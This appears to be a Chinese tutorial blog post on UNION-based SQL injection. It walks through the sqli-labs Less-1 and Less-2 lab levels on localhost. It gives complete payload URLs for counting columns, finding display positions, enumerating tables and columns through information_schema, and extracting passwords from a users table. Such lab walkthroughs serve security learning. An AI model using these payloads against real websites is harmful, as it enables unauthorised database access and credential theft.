union注入

1.注入介绍

union注入中,又大致可分为两类 字符型注入数字型注入

字符型注入数字型注入 的最大区别在于:数字型不需要引号闭合,而字符型需要使用引号闭合
PS:在UNION注入中,我个人觉得难点就是在判断是字符型还是数字型上,因为如果是字符型的话,首先要做的就是闭合它的引号,而如何闭合引号,也就是难点所在,我们要猜测他可能的SQL语句,然后进行引号的闭合

那么如何判断是 字符型注入 还是 数字型注入 呢?

我们可以用分别用单引号和双引号来进行测试,如果单引号和双引号如果都返回了错误,那么就是数字型注入,因为如果注入基于单引号,我们在使用双引号时不会返回错误,同理,如果基于双引号,在使用单引号时不会返回错误,由此,就可以得出一个结论:使用双引号和单引号时,系统均会向我们提供错误信息的话,就可以判断注入类型为整数类型

2.注入步骤

1.判断是整型还是字符型

2.判断列的数量
order by

3.判断输出位置:select 1,2,…

4.查询数据库的名字
database()

5.查询表名字
select table_name from information_schema.tables where table_schema = 数据库名字 limit 0,1

6.查询列名字
select column_name from information_schema.columns where table_name = 表名 limit 0,1

7.得到想要的数据
数据库名,表名,字段名都查到了,数据岂不是so easy

3.注入示例

例子以sqli的第一关和第二关为例

1)字符型注入


用’和”测试后,发现只有’报错,所以可以判断为字符型注入

用order by判断列数,http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4--+

由此可以得出,有3列

PS:其中 --+ 为注释,mysql中注释有三种 1.# 2.--空格 3./* */ 第2种注释中的空格用+代替,因为在url中 + 表示空格,而空格本身有其他含义

接着,查询显示位,http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

由此,可知,2,3,位是显示出来的

然后查询数据库名,http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 --+

得到数据库的名字为,security

得到数据库名后就可以查询数据库中的数据表,http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’),3 --+

这样就得到了在这个数据库中的所有数据表
PS:limit是单行显示,group_concat是一次性显示

再查询数据表的字段,这里以users表为例,http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = ‘users’),3 --+

同样得到了所有的字段信息

得到了表名和字段名,这样就可以查询所需要的其他数据了,这里示范下查询users表中,username字段的信息,http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select password from users limit 0,1),3 --+

到此,第一关通过!!!

2)数字型注入

依然先判断注入类型,分别用’和”进行测试,,发现都报错,就可以判断为数字型注入了

然后判断字段数,这里结果就不放结果的图片了,就放下url,http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3
这个就是去掉了1后面的 ‘ 和最后的 –+ 这个注释

后面的查询语句也和第一个字符型相同,同样只是省去了 ‘ 和 –+ 这里就不做过多阐述了

4.总结

1.union注入是注入中最简单的一种,同样也是限制比较多的,比如需要页面上有显示位,要不然查询出来的数据没地方显示也没用(展示数据的位置叫显示位)

2.union注入的难度主要在闭合字符型注入的单引号或者双引号,闭合方法以下两种:
(1).select .. from .. where id = ‘$id’ ,当 $id = 1’ and ‘1’=’1 时,这个单引号就被闭合了,在其中就可以插入我们自己想要的查询语句,这种方法我不常用,也忘记叫什么了
(2).注释法,1中的语句,当$id = 1’ --+时,用一个 ‘ 跟前面的 ‘ 形成一对 ‘ ,闭合了前面的 ‘ ,注释掉后面的 ‘ ,这样在注释前我们就可以任意的添加自己想要的查询语句

两种方法,注释法比较方便,易懂,我用的比较多,但是两种方法同样都是需要掌握

3.要明白 group_concat() 和 limit 的区别,前者是将查询到的结果全部显示在一行上,后者是将查询到的数据每次按指定的行数显示